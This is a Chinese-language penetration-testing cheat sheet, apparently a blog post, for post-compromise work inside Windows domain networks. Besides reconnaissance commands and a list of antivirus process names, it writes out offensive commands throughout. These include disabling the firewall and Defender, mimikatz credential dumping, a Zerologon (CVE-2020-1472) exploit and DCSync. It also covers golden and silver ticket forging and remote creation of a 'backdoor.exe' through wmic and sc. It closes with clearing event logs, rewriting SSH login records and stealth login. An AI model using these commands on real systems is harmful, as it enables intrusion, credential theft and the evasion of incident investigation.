内网渗透篇-信息收集
当我们拿到一台具备内网的服务器时,接下来就是进行内网渗透,其实内网渗透跟外网渗透本质是一样的,进入到内网的第一步也是信息收集,首先要对自己当前所处的网络环境有一个清楚地判断,然后摸清网络大体情况之后在进行进一步内网拓展。
1.ipconfig /all 获取本机网络配置信息
查看当前网卡信息,可以判断当前主机在哪一个网段,有多网卡的主机,可以判断连接几个网段, 还可以查看到一些代理信息。
ifconfig LINUX
2.netstat -ano 本机开放的所有端口
可以查看所有开放的端口,包括网络的连接情况,比如查看远程连接端口,一些数据库服务等连接情况,这里也可以通过网络连接情况判断是否连通某个网段。
21 FTP
22 SSH
23 Telnet
25 SMTP
53 DNS
80 HTTP(Apache)(IIS)
110 POP3
161 SNMP
443 HTTPS(SSL)
445 SMB
1433 MSSQL (SQL server)
1521 Oracle
3306 MYSQL
3389 远程桌面
6379 Redis
7001 Weblogic
8080 Tomcat(Jboss)
3.systeminfo 操作系统的详细配置信息
显示关于计算机及其操作系统的详细配置信息,包括操作系统配置、安全信息、产品 ID 和硬件属性,如 RAM、磁盘空间和网卡和补丁信息等。
4.net user 查询用户列表
quser 查看当前在线用户
查看本机用户列表,通过分析本机用户列表,可以找出内网机器的命令规则。个人机器的名字,可用来推测整个域的用户命令方式
5.tasklist 查询进程信息
用来显示运行在本地或远程计算机上的所有进程,包括杀毒软件,远控软件等。
常见杀软进程名:
360tray.exe:360安全卫士-实时保护
360safe.exe:360安全卫士-主程序
ZhuDongFangYu.exe:360安全卫士-主动防御
360sd.exe:360杀毒
a2guard.exe:a-squared杀毒
ad-watch.exe:Lavasoft杀毒
cleaner8.exe:The Cleaner杀毒
vba32lder.exe:vb32杀毒
MongoosaGUI.exe:Mongoosa杀毒
CorantiControlCenter32.exe:Coranti2012杀毒
F-PROT.exe:F-Prot AntiVirus
CMCTrayIcon.exe:CMC杀毒
K7TSecurity.exe:K7杀毒
UnThreat.exe:UnThreat杀毒
CKSoftShiedAntivirus4.exe:Shield Antivirus杀毒
AVWatchService.exe:VIRUSfighter杀毒
ArcaTasksService.exe:ArcaVir杀毒
iptray.exe:Immunet杀毒
PSafeSysTray.exe:PSafe杀毒
nspupsvc.exe:nProtect杀毒
SpywareTerminatorShield.exe:SpywareTerminator反间谍软件
BKavService.exe:Bkav杀毒
MsMpEng.exe:Microsoft Security Essentials
SBAMSvc.exe:VIPRE
ccSvcHst.exe:Norton杀毒
f-secure.exe:冰岛
avp.exe:Kaspersky
KvMonXP.exe:江民杀毒
RavMonD.exe:瑞星杀毒
Mcshield.exe:McAfee
Tbmon.exe:McAfee
Frameworkservice.exe:McAfee
egui.exe:ESET NOD32
ekrn.exe:ESET NOD32
eguiProxy.exe:ESET NOD32
kxetray.exe:金山毒霸
knsdtray.exe:可牛杀毒
TMBMSRV.exe:趋势杀毒
avcenter.exe:Avira(小红伞)
avguard.exe:Avira(小红伞)
avgnt.exe:Avira(小红伞)
sched.exe:Avira(小红伞)
ashDisp.exe:Avast网络安全
rtvscan.exe:诺顿杀毒
ccapp.exe:SymantecNorton
NPFMntor.exe:Norton杀毒软件
ccSetMgr.exe:赛门铁克
ccRegVfy.exe:Norton杀毒软件
ksafe.exe:金山卫士
QQPCRTP.exe:QQ电脑管家
avgwdsvc.exe:AVG杀毒
QUHLPSVC.exe:QUICK HEAL杀毒
mssecess.exe:微软杀毒
SavProgress.exe:Sophos杀毒
SophosUI.exe:Sophos杀毒
SophosFS.exe:Sophos杀毒
SophosHealth.exe:Sophos杀毒
SophosSafestore64.exe:Sophos杀毒
SophosCleanM.exe:Sophos杀毒
fsavgui.exe:F-Secure杀毒
vsserv.exe:比特梵德
remupd.exe:熊猫卫士
FortiTray.exe:飞塔
safedog.exe:安全狗
parmor.exe:木马克星
Iparmor.exe.exe:木马克星
beikesan.exe:贝壳云安全
KSWebShield.exe:金山网盾
TrojanHunter.exe:木马猎手
GG.exe:巨盾网游安全盾
adam.exe:绿鹰安全精灵
AST.exe:超级巡警
ananwidget.exe:墨者安全专家
AVK.exe:AntiVirusKit
avg.exe:AVG Anti-Virus
spidernt.exe:Dr.web
avgaurd.exe:Avira Antivir
vsmon.exe:Zone Alarm
cpf.exe:Comodo
outpost.exe:Outpost Firewall
rfwmain.exe:瑞星防火墙
kpfwtray.exe:金山网镖
FYFireWall.exe:风云防火墙
MPMon.exe:微点主动防御
pfw.exe:天网防火墙
BaiduSdSvc.exe:百度杀毒-服务进程
BaiduSdTray.exe:百度杀毒-托盘进程
BaiduSd.exe:百度杀毒-主程序
SafeDogGuardCenter.exe:安全狗
safedogupdatecenter.exe:安全狗
safedogguardcenter.exe:安全狗
SafeDogSiteIIS.exe:安全狗
SafeDogTray.exe:安全狗
SafeDogServerUI.exe:安全狗
D_Safe_Manage.exe:D盾
d_manage.exe:D盾
yunsuo_agent_service.exe:云锁
yunsuo_agent_daemon.exe:云锁
HwsPanel.exe:护卫神
hws_ui.exe:护卫神
hws.exe:护卫神
hwsd.exe:护卫神
hipstray.exe:火绒
wsctrl.exe:火绒
usysdiag.exe:火绒
SPHINX.exe:SPHINX防火墙
bddownloader.exe:百度卫士
baiduansvx.exe:百度卫士-主进程
AvastUI.exe:Avast!5主程序
emet_agent.exe:EMET
emet_service.exe:EMET
firesvc.exe:McAfee
firetray.exe:McAfee
hipsvc.exe:McAfee
mfevtps.exe:McAfee
mcafeefire.exe:McAfee
scan32.exe:McAfee
shstat.exe:McAfee
vstskmgr.exe:McAfee
engineserver.exe:McAfee
mfeann.exe:McAfee
mcscript.exe:McAfee
updaterui.exe:McAfee
udaterui.exe:McAfee
naprdmgr.exe:McAfee
cleanup.exe:McAfee
cmdagent.exe:McAfee
frminst.exe:McAfee
mcscript_inuse.exe:McAfee
mctray.exe:McAfee
_avp32.exe:卡巴斯基
_avpcc.exe:卡巴斯基
_avpm.exe:卡巴斯基
6.whoami 查看当前有效用户名
net localgroup administrators 获取本地管理员(通常包含用户)信息
7.route print&arp -a 查询路由表及所有可用借口的ARP缓存表
8.netsh firewall show config 查看防火墙配置
9. 利用搜索收集本机的密码文档信息
10.内网渗透命令集合
net命令
net time /domain
net group "domain admins" /domain
net group "domain controllers" /domain
net user administrator /domain
nltest /domain_trusts 获取域信任关系
nltest /dclist:
net share
net view \\domainip
net view /domain 查看域/工作组列表
net view /domain:secwing 查看secwing域中 计算机列表
net config Workstation 查询机器属于哪个域
netstat -ano |findstr
net accouts 查看本地密码策略
set 查看环境变量
nbtstat -A ip netbiso查询
whoami /all
qwinsta //查看登录情况
query user //查看管理员最近登陆时间
nltest /domain_trusts //获取域信任信息
taskkill /f /im
tasklist /svc 查看进程
tasklist /S ip /U domain\username /P /V //查看远程计算机进程列
tracert IP //路由跟踪
route print //打印路由表
arp -a //列出本网段内所有活跃的IP地址
arp -s (ip + MAC)//绑定mac与ip地址
arp -d (ip + MAC) //解绑mac与ip地址
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /ve
获取最近mstsc登录的记录
setspn -Q \*/\* SPN列表
文件查找
使用命令查找包含密码的文件
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
查找文件位置
dir /b /s unattend.xml
dir /b /s web.config
dir /b /s sysprep.inf
远程
关闭防火墙
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
关闭windefend
net stop windefend
防火墙恢复默认
netsh firewall reset
开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
CVE-2020-1472
privilege::debug
sekurlsa::logonpasswords
lsadump::zerologon /target:ip /account:ADC1$
lsadump::zerologon /target:ip /account:ADC1$ /exploit
lsadump::dcsync /domain:DC2.com /dc:DC2 /user:administrator /authuser:DC2$ /authdomain:DC2 /authpassword:"" /authntlm
sekurlsa::pth /user:administrator /domain:. /rc5:161cff084477fe596a5db81874498a24
IPC
net use \\ip\ipc$ password /user:domain\user
net use [url=file://\\IP\ipc$]\\IP\ipc$[/url] password /user:username@domain
copy putty.exe \\192.168.0.100\admin$
net time \\192.168.0.100
at \\192.168.0.100 19:45 putty.exe
net use Z: \\192.168.0.100\c$ 将靶机c盘映射到本地
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
net use * \\192.168.0.100 /del
net use * /del /y
net use * /del
net use 查看会话
net session
WMI
wmic qfe get hotfixid //查看已安装过得补丁,这个很实用
wmic qfe list full /format:htable > hotfixes.htm //详细的补丁安装
wmic qfe //查询补丁信息以及微软提供的下载地址 ping hostname(主机名) //显示该机器名的IP
wmic share get name,path //查看SMB指向的路径
wmic nteventlog get path,filename,writeable //查询系统日志文件存储位置
wmic service list brief //查看进程服务
wmic process list brief //查看进程
wmic startup list brief //查看启动程序信息
wmic product list brief //查看安装程序和版本信息(漏洞利用线索)
wmic startup list full //识别开机启动的程序
wmic process where(description="mysqld.exe") >> mysql.log //获取软件安装路径
wmic /node:ip /user: /p pwd process call create c:\backdoor.exe
wmic /node /user: /password: process wher e name="cmd.exe" cll terminate
wmic /node:10.10.10.11 /user:administrator /password:1qaz@WSX process call create "cmd.exe /c ipconfig>c:\result.txt"
WMIcmd.exe -h 192.168.1.152 -d hostname -u pt007 -p admin123 -c "ipconfig"
wmic /node /user /password process where name="cmd.exe" get CommandLine
计划任务
AT/Schtasks
AT命令(win server2012已遗弃)
建立net use 连接
net use \\192.168.1.100\c$ 1qaz@WSX /user domain\user
复制bat文件到远程计算机
copy exec.bat \\192.168.1.100\c$\windows\debug\exec.bat
查看远程计算机时间
net time \\192.168.1.100
新建远程计划任务
at \\192.168.1.100 21.52 c:\windows\temp\exec.bat
查看远程计划任务列表
at \\192.168.1.100
Schtasks:
创建任务
schtasks /create /s ip /u administrator /password /ru "system" /tn adduser(名称) /sc DAILY(时间) /tr c:\windows\debug\add.bat /f
运行任务
schtasks /run /s ip /u administrator /p password /tn adduser /i
schtasks /run /tn update /$ 10.10.10.137 /u test \administrator /p 1qaz@WSX
删除任务
schtasks /delete /s ip /u administrator /p password /tn adduser /f
SC
服务控制命令,微软内置,配合文件共享,远程创建服务
建立ipc连接 执行SC
net use \\192.168.17.138\c$ "admin123" /user:pt007
net use
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
创建服务
sc \\remote_ip create services_name binpath= c:\backdoor.exe
sc \\10.10.10.10 create update binpath= c:\programdata\a.bat
启动服务
sc \\remote_ip start services_name
sc \\10.10.10.10 start update
停止服务
sc \\remote_ip stop serviece_name
sc \\10.10.10.10 stop update
删除服务
sc \\remote_ip delete service_name
sc \\10.10.10.10 delete update
端口转发
Netsh端口转发
netsh firewall show config //查看防火墙策略
netsh firewall show state //查看防火墙策略
开启端口转发
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
打开防火墙
netsh advfirewall firewall add rule name="firewallname" protocol=TCP dir=in localip=ip localport=port action=allow
显示所有转发规则
netsh interface portproxy show all
删除转发
netsh interface portproxy delete v4tov4 listenport=port listenaddress=ip
重置
netsh interface portproxy reset
SSH转发
1.ssh正向端口转发
ssh -L [<local host>:] <local port>:<remote host>:<remote port><ssh hostname>
2.ssh反向端口转发
ssh -R [<local host>:]<local port>:<remote host>:<remote port><ssh hostname>
3.ssh socks代理
ssh -D [<local host>:] <local port><ssh hostname>
后门
黄金票据
黄金票据的条件要求:
1.域名称
2.域的SID值 whoami /user
3.域的Krbtgt账户NTLM密码哈希
4.伪造用户名
sekurlsa::pth /user:administrator /domain:"GOD.org" /ntlm:61465a991b168727b65b3644aab823cd
登陆用户 域地址 ntlm加密值
这里会弹出一个CMD框 我们先用看看自己是否有权限 dir \\OWA.GOD.org\c$ 【查看域控C盘】
dir \\\\DC.zkaq.cn\c$
lsadump::dcsync /user:krbtgt /domain: 获取krbtgt的密码 [mimikatz 会模拟域控,向目标域控请求账号密码信息]
提取出里面的sid和hashNTLM
kerberos::golden /admin:administrator /domain:GOD.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:administrator.kiribi [制作票据]
kerberos::ptt administrator.kiribi [加载票据]
直接注入黄金票据
kerveros::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:domainsid /krbtgt:hash /ptt
kerberos::purge 清空票据
privilege::debug
等待管理员登录获取密码
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # misc::memssp
Injected =)
mimikatz # exit
白银票据
查看当前用户sid
whoami /user
获取目标计算机哈希
sekurlsa::logonpasswords
1472漏洞
生成白银票据
kerberos::golden /sid:domainsid /domain:test.local /ptt /id:伪造用户ID /target:mdc.test.local /service:cifs /rc:目标计算机hash /user:伪造用户名
工具
dsquery
dsquery.exe user -limit 0#查询用户对象信息
dsquery.exe group -limit 0 #查询组对象信息
dsquery.exe ou -limit 0#查询OU对象信息
dsquery user domainroot -limit 65535 && net user /domain //列出该域内所有用户名
dsquery server -domain supre.com | dsget server -dnsname -site //搜索域内所有域控制器并显示他们的DNS主机名和站点名称
dsquery contact //寻找目录中的联系人
dsquery subnet //列出该域内网段划分
dsquery group && net group /domain //列出该域内分组
dsquery ou //列出该域内组织单位
dsquery server && net time /domain //列出该域内域控制器
dsquery site -o rdn //搜索域中所有站点名称
dsquery group dc=GOD,dc=org |more 搜索在dc=god,dc=org域中的所有组
dsquery.exe computer #查找目标中的计算机
dsquery.exe site #查找目录中的组织单位
dsquery.exe server #查找目录中的AD DC/LDS 实例
ADExplorer
ADfind
AdFind -sc dclist #列出域控制器名称
AdFind -sc computers_active #查询当前域中在线的计算机
AdFind -sc computers_active name operatingSystem #查询当前域中在线的计算机(只显示名称和操作系统)
AdFind.exe -sc computers_active name dnshostname #查询域中活动的主机,输出主机名和域名
AdFind -f "objectcategory=computer" #查询当前域中所有计算机
AdFind -f "objectcategory=computer" name operatingSystem #查询当前域中所有计算机(只显示名称和操作系统)
AdFind -users name #查询域内所有用户
AdFind -sc gpodmp #查询所有GPO
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* #查询域内所有用户详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:test #查询域内特定用户详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:test mail #查询域内特定用户特定信息(mail)
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* -dn #查询域内所有用户dn信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* -c #查询域内用户数量
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc g:* #查询域内所有组详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc g:*Admin #查询域内组名包含 Admin 的所有组详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc o:* #查询域内所有OU详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc c:* #查询域内所有计算机详细信息
AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc s:* #查询域内所有站点详细信息
psexec paexec
psexec.exe -accepteula \\10.10.10.137 -u test\administrator -p 1qaz@WSX -i cmd.exe
psexec.exe -accepteula -i -s -d cmd
paexec.exe \\ip -u domain\user -p pwd cmd.exe -noname
net use \\ip pwd /u:domain\user paexec.exe \\ip cmd.exe
netsh winhttp sh proxy 查看代理
winrm
端口复用入网
winrm quickconfig -q
winrm s winrm/config/Client @{TrustedHosts="*"}
新增80端口监听
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
修改5985到80
winrm set winrm/config/Listener?Address=*+Transprot=HTTP @{port=80}
修改WinRM端口为web端口
winrs -r:http://xx -u:DC20\administratror -p:1qaz@WSX cmd
信息获取
powerview
加载
Imoport-Module .\PowerView.ps1
#执行查询
Get-DomainGroup #查询组的详细信息
Get-DomainOU #查询OU的详细信息
Get-DomainUser #查询用户的详细信息
psloggendon.exe
psloggedon.exe 用户名
-l只显示本地登陆用户而不显示其它的网络登陆用户
-x不显示登陆时间
显示远程机器现在登陆的用户可以打:
psloggedon \\远程机器ip
首次使用加 -accepteula 不显示版权信息
netsess.exe
netsess.exe \\PRIMARY
PVEFindADUser.exe
PVEFindADUser.exe -current
wevtutil
wevtutil epl Security C:\log.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 259200000]]]" /r:远程计算机IP /u:用户名 /p:密码
#epl 导出日志
#Security 表示安全日志
#C:\log.evtx 代表导出日志的位置,远程导出的话会导出到远程计算机上。
#/q: 代表日志查询语句
#System[(EventID=4624) 代表时间ID为4624,即用户登录成功的日志
#EventData[Data[@Name='LogonType']='3']代表登录类型为网络登录
#TimeCreated[timediff(@System Time) <= 259200000] 代表只导出最近一个月的日志,259200000的单位为毫秒,可根据实际需求自行改变数字大小。
#本地导出的话不需要指定/r选项
#wevtutil的更多用法参见其帮助文档,可用于删除windows日志。
logparser
LogParser.exe -i:EVT -o csv "SELECT distinct TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\*.evtx" > C:\log.csv
# -i:EVT 代表日志输入格式为evtx
# -o csv 代表输出格式为csv
# 双引号里的内容为查询语句
# distinct 代表将结果去重
# TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME 从登录日志中解析出日志名
# USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) 从登录日志中解析出登录来源
# *.evtx可以同时处理多个日志文件
# 可以通过以下命令查看登录日志的详细信息
LogParser.exe -i:EVT -o:DATAGRID "select * from *.evtx"
痕迹清理
wevtutil
wevtutil el 列出系统中所有日志的名称
wevtutil cl system 清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security 清理安全日志
for /f "delims=" %j in('wevtutil.exe el') do @wevtutil.exe cl "%j" c:\windows\system32\winevt\logs\
windows defender
"C:\PROGRA~1\WINDOW~1\mpcmdrun.exe" -Restore -ListAll
powershell -Command Add-MpPreference -ExclusionPath "C:\tmp"
powershell -Command Add-MpPreference -ExclusionExtension".java"
powershell -Command Add-MpPreference -ExclusionProcess"*.exe"
powershell -Command Get-MpPreference
ssh 登录信息
/var/log/btmp 记录所有登录失败信息,使用 lastb 命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间日志,使用 lastlog 命令查看
/var/log/wtmp 记录所有用户的登录,注销信息,使用last命令查看
/var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure 记录与安全相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
登录ssh时显示的上次登录记录
last login 时间 fromn ip
记录在文件 /var/log/lastlog ~/.ssh/known_hosts
可以使用sed替换
sed -i 's/自己ip/原ip' /var/log/lastlog
sed -i '/当天日期/'d filename
隐身登录系统,不会被 w,who,last 等指令检测到
ssh -T root@192.168.01 /bin/bash -i